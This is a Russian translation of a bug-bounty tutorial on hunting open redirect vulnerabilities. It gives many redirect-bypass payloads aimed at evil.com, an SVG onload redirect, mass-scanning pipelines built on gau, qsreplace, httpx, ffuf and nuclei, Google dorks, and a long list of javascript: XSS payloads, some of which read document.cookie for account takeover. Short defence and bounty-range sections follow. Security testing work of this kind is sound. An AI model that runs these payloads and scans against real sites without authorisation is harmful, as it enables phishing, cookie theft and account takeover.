От нуля до героя: Охота на высокооплачиваемые уязвимости Open Redirect в веб-приложениях
@Ent_TranslateIB
Введение
Уязвимость открытого перенаправления (Open Redirect) — одна из распространённых проблем веб-безопасности. Она позволяет злоумышленникам перенаправлять пользователей на вредоносные ресурсы, используя уязвимость в логике обработки URL. Такая проблема возникает, когда веб-приложение принимает пользовательский ввод в параметрах URL и выполняет перенаправление без должной проверки.
Несмотря на внешнюю простоту, уязвимость может иметь серьёзные последствия — от фишинга и распространения вредоносного ПО до захвата пользовательских сессий.
Что такое Open Redirect и как это работает
Если сервер безусловно обрабатывает URL, переданный пользователем, и перенаправляет его на указанный адрес без валидации - это уязвимость. Модифицируя параметр url, злоумышленник может обманом заставить пользователя перейти на вредоносный сайт.
https://example.com/redirect?url=http://malicious.com
В этом случае пользователь ожидает перехода на безопасный сайт, но по факту оказывается на вредоносном ресурсе, полностью подконтрольном атакующему.
Методы ручного тестирования
1. Простая подмена домена
?redirect=https://example.com → ?redirect=https://evil.com
2. Обход при запрете протокола
?redirect=https://example.com → ?redirect=//evil.com
3. Обход при запрете двойного слэша
?redirect=https://example.com → ?redirect=\\evil.com
4. Обход с использованием http: или https:
?redirect=https://example.com → ?redirect=https:example.com
5. Обход с использованием кодировки символа %40
?redirect=example.com → ?redirect=example.com%40evil.com
6. Обход при проверке только доменного имени
?redirect=example.com → ?redirect=example.comevil.com
7. Обход с использованием точек в кодировке %2e
?redirect=example.com → ?redirect=example.com%2eevil.com
8. Обход с использованием вопросительного знака
?redirect=example.com → ?redirect=evil.com?example.com
9. Обход с использованием хэша %23
?redirect=example.com → ?redirect=evil.com%23example.com
10. Обход с использованием символа /
?redirect=example.com → ?redirect=example.com/evil.com
11. Обход с использованием китайской точки %E3%80%82
?redirect=example.com → ?redirect=evil.com%E3%80%82%23example.com
12. Обход с использованием нулевого байта %0d или %0a
?redirect=/ → ?redirect=/%0d/evil.com
13. Перенаправления с закодированным URL
https://example.com/redirect?url=http%3A%2F%2Fmalicious.com
14. Перенаправления через путь
https://example.com/redirect/http://malicious.com
15. Перенаправления через Data URI
https://example.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnVGhpcyBpcyBhbiBhdHRhY2snKTwvc2NyaXB0Pg==
16. Перенаправления через схему javascript
https://example.com/redirect?url=javascript:alert('XSS');//
17. Перенаправления через HTTP-заголовки
Location: http://malicious.com X-Forwarded-Host: evil.com Refresh: 0; url=http://malicious.com
18. Гибридные обходы с Path Traversal
/redirect?url=/../../https://evil.com
19. Использование SVG-пейлоада
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <svg onload="window.location='https://evil.com/'" xmlns="http://www.w3.org/2000/svg"></svg>
Инструменты автоматического сканирования
Разведка
Соберите как активные, так и пассивные URL-адреса, используя все доступные инструменты и источники информации.
Для одного домена:
echo target.com | gau --o urls1.txt echo target.com | katana -d 2 -o urls2.txt echo target.com | urlfinder -o urls3.txt echo target.com | hakrawler > urls4.txt
Для множества поддоменов:
subfinder -d target.com -all -o subdomains1.txt assetfinder --subs-only target.com > subdomains2.txt sort -u subdomains.txt subdomains2.txt -o uniqsubs.txt cat uniqsubs.txt | httpx-toolkit -o finallist.txt cat finallist.txt | gau --o urls1.txt cat finallist.txt | katana -d 2 -o urls2.txt cat finallist.txt | urlfinder -o urls3.txt cat finallist.txt | hakrawler > urls4.txt
После сбора всех URL-адресов — отфильтровываем дубликаты и сортируем:
cat urls1.txt urls2.txt urls3.txt | uro | sort -u | tee final.txt
Фильтрация URL-адресов с параметрами редиректа
Используем команду grep для поиска часто используемых параметров при редиректах:
cat final.txt | grep -Pi "returnUrl=|continue=|dest=|destination=|forward=|go=|goto=|login\?to=|login_url=|logout=|next=|next_page=|out=|g=|redir=|redirect=|redirect_to=|redirect_uri=|redirect_url=|return=|returnTo=|return_path=|return_to=|return_url=|rurl=|site=|target=|to=|uri=|url=|qurl=|rit_url=|jump=|jump_url=|originUrl=|origin=|Url=|desturl=|u=|Redirect=|location=|ReturnUrl=|redirect_url=|redirect_to=|forward_to=|forward_url=|destination_url=|jump_to=|go_to=|goto_url=|target_url=|redirect_link=" | tee redirect_params.txt
Более эффективный способ — использовать gf для фильтрации параметров редиректа:
final.txt | gf redirect | uro | sort -u | tee redirect_params.txt
https://github.com/coffinxp/GFpattren/blob/main/redirect.json
Теперь переходим к финальной фазе — эксплуатации уязвимости. На этом этапе следует подобрать возможные полезные нагрузки и протестировать, срабатывает ли перенаправление на сторонние ресурсы.
cat redirect_params.txt | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"
Альтернативный способ достижения того же результата:
subfinder -d vulnweb.com -all | httpx-toolkit -silent | gau | gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

Он выведет на экран все URL-адреса, которые перенаправляют пользователя на evil.com.
Чтобы просканировать все полезные нагрузки для обхода open redirect из вашего пользовательского списка, используйте следующую команду:
cat redirect_params.txt | while read url; do cat loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"

Эта команда протестирует все кастомные полезные нагрузки для обхода open redirect из файла or.txt для каждого параметра URL. Если в ответе будет обнаружен редирект на Google, он будет выведен на экран.
Или вы можете достичь того же результата с помощью следующего метода как для одного, так и для нескольких доменов:
echo target.com -all | gau | gf redirect | uro | while read url; do cat loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com" subfinder -d target.com -all | httpx-toolkit -silent | gau | gf redirect | uro | while read url; do cat loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"
Фаззинг с помощью FFuF и проверка в Burp Suite
ffuf -w redirect_params.txt:PARAM -w loxs/payloads/or.txt:PAYLOAD -u "https://site.com/bitrix/redirect.php?PARAM=PAYLOAD" -mc 301,302,303,307,308 -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0" -x http://localip:8080 -t 10 -mr "Location: http://google.com"
Пояснение к параметрам:
-mc— указывает FFuF отображать только ответы с HTTP-кодами перенаправления (301, 302, 303, 307, 308)-mr— фильтрует ответы, подтверждающие редирект на указанный домен (например,Location:http://google.com)-x— направляет трафик FFuF через прокси (например, Burp Suite) для последующего ручного анализа-w— задаёт словарь для фаззинга— список параметров, потенциально отвечающих за перенаправление
redirect_params.txt— список полезных нагрузок, предназначенных для обхода фильтрации и тестирования уязвимости
or.txt

После перехвата трафика FFuF в Burp Suite вы можете использовать встроенные фильтры, чтобы отобразить только ответы с кодами состояния из серии 3xx (перенаправления).
Для более точной проверки используйте поиск по заголовкам ответов — проверьте, содержится ли, например, google.com в заголовке Location. Это поможет убедиться, что перенаправление действительно происходит на указанный домен.

Вы также можете использовать инструмент CURL для массового тестирования с помощью следующей команды:
cat urls.txt | qsreplace "https://evil.com" | xargs -I {} curl -s -o /dev/null -w "%{url_effective} -> %{redirect_url}\n" {}

Тестирование с использованием шаблона Nuclei
Для автоматизации процесса вы можете использовать пользовательский шаблон Nuclei, который добавляет параметры к URL-адресам поддоменов и проверяет их на наличие уязвимости.
[Вероятно автор использовал этот шаблон]
echo subdomains.txt | nuclei -t openRedirect.yaml -c 30

Использование VirusTotal
Вы также можете использовать VirusTotal для поиска URL-адресов с параметрами, потенциально уязвимыми к Open Redirect, а затем протестировать их с помощью вышеописанных методов.
https://www.virustotal.com/vtapi/v2/domain/report?apikey=<api_key>&domain=target.com

./virustotal.sh domains.txt | gf redirect

После этого вы можете использовать те же методы, что и раньше: qsreplace, ffuf, httpx и Burp Suite для дальнейшего тестирования.
Использование Burp Suite
Вы также можете использовать Burp Suite для поиска уязвимостей типа Open Redirect следующим образом:
Шаг 1
Перехватите HTTP-ответ от целевого сайта в Burp Suite и отправьте его в раздел "Discover Content". Это позволит выполнить активное сканирование по целевому домену и выявить возможные точки перенаправления.

Шаг 2
После завершения сканирования в Burp Suite вы сможете увидеть множество URL-адресов с параметрами на вкладке Target.

Шаг 3
Затем отфильтруйте полученные ответы, оставив только те, которые содержат коды состояния из серии 3xx (перенаправления). Выберите один из URL с параметром редиректа и отправьте его на вкладку Repeater для ручного тестирования.

Шаг 4
Теперь укажите позицию параметра, в которую вы будете вставлять полезные нагрузки для обхода Open Redirect. Вы можете найти список полезных нагрузок в моём репозитории на GitHub:
https://github.com/coffinxp/loxs/blob/main/payloads/or.txt
После этого запустите атаку в Burp Suite Intruder. Убедитесь, что автоматическое URL-кодирование отключено — это важно для корректной подстановки полезной нагрузки. Используйте Response Matching и укажите, например, google.com или любой другой домен, перенаправление на который вы хотите отследить. Это поможет автоматически выявить успешные попытки редиректа.

Шаг 5
Теперь воспользуйтесь опцией Filter, чтобы отображать только ответы с кодами состояния из серии 3xx. Это позволит выявить все редиректы на целевом сайте. Для повышения точности также рекомендуется проверять длину ответа — это поможет отличить реальные перенаправления от ложных.

Теперь вы можете скопировать любой запрос и вставить его в браузер, чтобы проверить редирект.
Использование инструмента Loxs
Для более простого способа поиска Open Redirect вы можете использовать инструмент Loxs, который автоматически определяет редиректы без ложных срабатываний. Сначала используйте следующую команду:
cat urls.txt | sed 's/=.*/=/' | uro >final.txt
urls.txt: Файл, содержащий URL, отфильтрованные и отсортированные с использованием шаблоновgfили других методов.- Команда
sedиспользуется для извлечения всех параметров из URL и преобразования их в пустые параметры для фаззинга.
После этого отправьте файл final.txt в инструмент Loxs, выберите опцию Open Redirect, укажите файл urls.txt и выберите файл с полезными нагрузками.
Результат будет выглядеть следующим образом:

И Loxs также сгенерирует HTML-файл для удобного просмотра результатов, показывая все успешные полезные нагрузки в чистом и организованном формате.

Open Redirect → XSS → Account Takeover (ATO)
Если вы обнаружили уязвимость типа Open Redirect, всегда старайтесь повысить её критичность, объединив с XSS. Это может привести к захвату учетной записи (Account Takeover).
#Основная полезная нагрузка, код javascript выполняется после "javascript:" javascript:alert(1) #Обход фильтра слов "javascript" с помощью CRLF java%0d%0ascript%0d%0a:alert(0) #Javascript с "://" (Обратите внимание, что в JS "//" - это строчный комент, поэтому перед полезной нагрузкой создается новая строка). Необходимо двойное кодирование URL. #Это обходит FILTER_VALIDATE_URL в PHP javascript://%250Aalert(1) #Вариант обхода "javascript://", когда также необходим запрос (использование комментариев или тернарного оператора) javascript://%250Aalert(1)//?1 javascript://%250A1?alert(1):0 #Другие %09Jav%09ascript:alert(document.domain) javascript://%250Alert(document.location=document.cookie) /%09/javascript:alert(1); /%09/javascript:alert(1) //%5cjavascript:alert(1); //%5cjavascript:alert(1) /%5cjavascript:alert(1); /%5cjavascript:alert(1) javascript://%0aalert(1) <>javascript:alert(1); //javascript:alert(1); //javascript:alert(1) /javascript:alert(1); /javascript:alert(1) \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) javascript:alert(1); javascript:alert(1) javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie) javascript:confirm(1) javascript://https://whitelisted.com/?z=%0Aalert(1) javascript:prompt(1) jaVAscript://whitelisted.com//%0d%0aalert(1);// javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/
Google Dorking и автоматизация
Вы также можете использовать ручной способ поиска уязвимости на целевом сайте с помощью следующего Google Dork:
site:target (inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= | inurl:dest= | inurl:target= | inurl:redirect_uri= | inurl:redirect_url= | inurl:checkout_url= | inurl:continue= | inurl:return_path= | inurl:returnTo= | inurl:out= | inurl:go= | inurl:login?to= | inurl:origin= | inurl:callback_url= | inurl:jump= | inurl:action_url= | inurl:forward= | inurl:src= | inurl:http | inurl:&) inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:target
Для массовой автоматизации open redirect можно использовать скрипт dorking.py, который собирает все результаты Google Dork за считанные секунды в терминале.
[Например - https://github.com/tireee/Dorking]

После этого используйте шаблоны gf, qsreplace и httpx для фильтрации валидных open redirect следующим образом:
cat urls.txt| gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

Для тестирования более продвинутых обходных полезных нагрузок используйте эту команду, чтобы попробовать все полезные нагрузки из кастомного словаря:
cat urls.txt| gf redirect | uro | while read url; do cat /home/coffinxp/loxs/payloads/or.txt | while read payload; do echo "$url" | qsreplace "$payload"; done; done | httpx-toolkit -silent -fr -mr "google.com"

Или используйте инструмент Loxs, как и ранее. Сначала обрежьте все параметры из URL, затем передайте полученный файл в Loxs — инструмент автоматически определит уязвимости типа Open Redirect.
Риски и последствия
- Фишинг: пользователи перенаправляются на поддельные сайты и вводят свои учетные данные.
- Распространение вредоносного ПО: переход на сайты, загружающие вредоносные файлы.
- Угон сессий: кража cookie-файлов с помощью специально сформированных URL.
Как защититься
- Белый список URL-адресов: разрешайте перенаправления только на проверенные домены.
- Использование относительных путей: избегайте указания абсолютных URL в параметрах.
- Валидация входных данных: блокируйте неизвестные или подозрительные значения в redirect-параметрах.
- Предупреждение пользователей: отображайте уведомление перед переходом на внешний ресурс.
Вознаграждение по баг-баунти
- Небольшие сайты: от $50 до $200
- Средние компании: от $200 до $500
- Крупные корпорации: от $500 до $1000
- Open Redirect, ведущий к ATO (Account Takeover): от $1000 до $5000
Также вы можете ознакомиться с видеодемонстрацией, где показана полная практика использования данного подхода.
Заключение
Уязвимости типа Open Redirect по-прежнему представляют серьёзную угрозу для безопасности веб-приложений. Глубокое понимание механизмов работы, методов обнаружения и способов защиты позволяет разработчикам и исследователям эффективно минимизировать риски и предотвращать атаки.
Оригинал статьи - здесь.
Поддержите автора хлопками на Medium.
Перевод статьи был выполнен проектом перевод энтузиаста:
- 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности